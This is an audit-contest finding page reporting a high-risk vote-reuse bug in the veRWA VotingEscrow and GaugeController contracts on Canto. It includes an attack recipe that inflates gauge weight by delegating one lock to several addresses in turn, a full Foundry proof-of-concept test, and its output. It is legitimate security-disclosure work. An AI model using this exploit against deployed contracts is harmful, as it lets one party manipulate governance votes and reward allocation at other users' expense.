veRWA - th13vn's results

Incentivization Primitive for Real World Assets on Canto

General Information

Platform: Code4rena

Start Date: 07/08/2023

Pot Size: $36,500 USDC

Total HM: 11

Participants: 125

Period: 3 days

Judge: alcueca

Total Solo HM: 4

Id: 274

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 47/125

Findings: 1

Award: $36.94

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

36.9443 USDC - $36.94

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-396

External Links

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L356-L387 https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211-L278

Vulnerability details

Impact

For the Voting logic: If you voted amount X, you must prevent the user from voting with that amount again.

Unfortunately, the VotingEscrow contract do not have locking voted amount mechanism. This vulnerability be abused to do malicious action. In the result, attacker can increase weight of a gauge with amount ETH less than actually. For example about attack method:

- Malicious user have 1_001 ether.
- Create a lock for an address 1_000 ether.
- With 1 ether remaining, the user divide into 10 another addresses (0.1 ether/address) and create lock.
- Use first address to vote 100% power for a gauge.
- Delegate for 10 addresses and vote one by one with 100% power.
-> User successfully exploit the vulnerability.

Proof of Concept

Describe the concept:

- Have 2 gauges in the `GaugeController`.
- Have 3 users controlled by attacker.
- Actions: User1 vote 100% for gauge1 -> User1 delegate to user 2 -> User 2 vote 100% for gauge1 -> User1 delegate to user 3 -> User3 vote 100% for gauge1.

Exploit succeed when weight of gauge1 have more weight than normal action (do not delegate)

Run PoC:

  • Create file poc.sol in src/test folder
  • Copy below content to poc.sol
  • Run command forge test --force --contracts src/test/poc.sol -vvv
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.16;

import "forge-std/Test.sol";
import {Utilities} from "./utils/Utilities.sol";
import {VotingEscrow} from "../VotingEscrow.sol";
import {GaugeController} from "../GaugeController.sol";

contract PoC is Test {
    Utilities public utils;
    address payable[] public users;
    address internal _gov;
    address internal _user1;
    address internal _user2;
    address internal _user3;
    address internal _gauge1;
    address internal _gauge2;

    VotingEscrow public ve;
    GaugeController public gc;

    function setUp() public {
        utils = new Utilities();
        users = utils.createUsers(6);
        (_gov, _user1, _user2, _user3, _gauge1, _gauge2) = (
            users[0],
            users[1],
            users[2],
            users[3],
            users[4],
            users[5]
        );

        ve = new VotingEscrow("VotingEscrow", "VE");
        gc = new GaugeController(address(ve), address(_gov));

        //set up gauges
        vm.startPrank(_gov);
        gc.add_gauge(_gauge1);
        gc.add_gauge(_gauge2);
        gc.change_gauge_weight(_gauge1, 10 ether);
        gc.change_gauge_weight(_gauge2, 10 ether);
        vm.stopPrank();
    }

    function testNormalAction() public {
        // lock 3 users
        vm.deal(_user1, 1 ether);
        vm.deal(_user2, 0.0001 ether);
        vm.deal(_user3, 0.0001 ether);
        vm.startPrank(_user1);
        ve.createLock{value: 1 ether}(1 ether);
        vm.stopPrank();
        vm.startPrank(_user2);
        ve.createLock{value: 0.0001 ether}(0.0001 ether);
        vm.stopPrank();
        vm.startPrank(_user3);
        ve.createLock{value: 0.0001 ether}(0.0001 ether);
        vm.stopPrank();

        console.log("=========");
        //user1 vote gauge 100%
        vm.startPrank(_user1);
        gc.vote_for_gauge_weights(_gauge1, 10_000);
        console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1));
        console.log("Total: ", gc.get_total_weight());
        console.log(
            "Rate Weight: ",
            (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(),
            "%"
        );
        vm.stopPrank();

        console.log("=========");
        //user2 vote gauge 100%
        vm.startPrank(_user2);
        gc.vote_for_gauge_weights(_gauge1, 10_000);
        console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1));
        console.log("Total: ", gc.get_total_weight());
        console.log(
            "Rate Weight: ",
            (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(),
            "%"
        );
        vm.stopPrank();

        console.log("=========");
        //user3 vote gauge 100%
        vm.startPrank(_user3);
        gc.vote_for_gauge_weights(_gauge1, 10_000);
        console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1));
        console.log("Total: ", gc.get_total_weight());
        console.log(
            "Rate Weight: ",
            (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(),
            "%"
        );
        vm.stopPrank();
    }

    function testMaliciousAction() public {
        // lock 3 users
        vm.deal(_user1, 1 ether);
        vm.deal(_user2, 0.0001 ether);
        vm.deal(_user3, 0.0001 ether);
        vm.startPrank(_user1);
        ve.createLock{value: 1 ether}(1 ether);
        vm.stopPrank();
        vm.startPrank(_user2);
        ve.createLock{value: 0.0001 ether}(0.0001 ether);
        vm.stopPrank();
        vm.startPrank(_user3);
        ve.createLock{value: 0.0001 ether}(0.0001 ether);
        vm.stopPrank();

        console.log("=========");
        //user1 vote gauge 100%
        vm.startPrank(_user1);
        gc.vote_for_gauge_weights(_gauge1, 10_000);
        console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1));
        console.log("Total: ", gc.get_total_weight());
        console.log(
            "Rate Weight: ",
            (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(),
            "%"
        );

        //user1 delegate vote to user2
        ve.delegate(_user2);
        vm.stopPrank();

        console.log("=========");
        //user2 vote gauge 100%
        vm.startPrank(_user2);
        gc.vote_for_gauge_weights(_gauge1, 10_000);
        console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1));
        console.log("Total: ", gc.get_total_weight());
        console.log(
            "Rate Weight: ",
            (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(),
            "%"
        );
        vm.stopPrank();

        //user1 delegate vote to user3
        vm.startPrank(_user1);
        ve.delegate(_user3);
        vm.stopPrank();

        console.log("=========");
        //user3 vote gauge 100%
        vm.startPrank(_user3);
        gc.vote_for_gauge_weights(_gauge1, 10_000);
        console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1));
        console.log("Total: ", gc.get_total_weight());
        console.log(
            "Rate Weight: ",
            (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(),
            "%"
        );
        vm.stopPrank();
    }
}

The console output:

>  forge test --force --contracts src/test/poc1.sol -vvv
[â Š] Compiling...
[â ƒ] Compiling 23 files with 0.8.17
[â ’] Solc 0.8.17 finished in 15.52s
Compiler run successful!

Running 2 tests for src/test/poc1.sol:PoC
[PASS] testMaliciousAction() (gas: 1894617)
Logs:
  =========
  Gauge Weight:  10993424657416307200
  Total:  20993424657416307200
  Rate Weight:  52 %
  =========
  Gauge Weight:  11986948657323481600
  Total:  21986948657323481600
  Rate Weight:  54 %
  =========
  Gauge Weight:  12980472657230656000
  Total:  22980472657230656000
  Rate Weight:  56 %

[PASS] testNormalAction() (gas: 1355223)
Logs:
  =========
  Gauge Weight:  10993424657416307200
  Total:  20993424657416307200
  Rate Weight:  52 %
  =========
  Gauge Weight:  10993523999750531200
  Total:  20993523999750531200
  Rate Weight:  52 %
  =========
  Gauge Weight:  10993623342084755200
  Total:  20993623342084755200
  Rate Weight:  52 %

Test result: ok. 2 passed; 0 failed; finished in 2.09ms

Tools Used

Manual, Foundry

Tracking the voted amount. The contract must prevent the user from voting with voted amount.

Assessed type

Governance

#0 - c4-pre-sort

2023-08-11T13:33:16Z

141345 marked the issue as duplicate of #45

#1 - c4-pre-sort

2023-08-13T13:16:53Z

141345 marked the issue as duplicate of #99

#2 - c4-pre-sort

2023-08-13T17:09:13Z

141345 marked the issue as duplicate of #178

#3 - c4-pre-sort

2023-08-13T17:35:27Z

141345 marked the issue as not a duplicate

#4 - c4-pre-sort

2023-08-13T17:35:39Z

141345 marked the issue as duplicate of #86

#5 - c4-judge

2023-08-25T10:51:22Z

alcueca changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-08-25T10:51:34Z

alcueca changed the severity to 3 (High Risk)

#7 - c4-judge

2023-08-25T10:55:07Z

alcueca marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter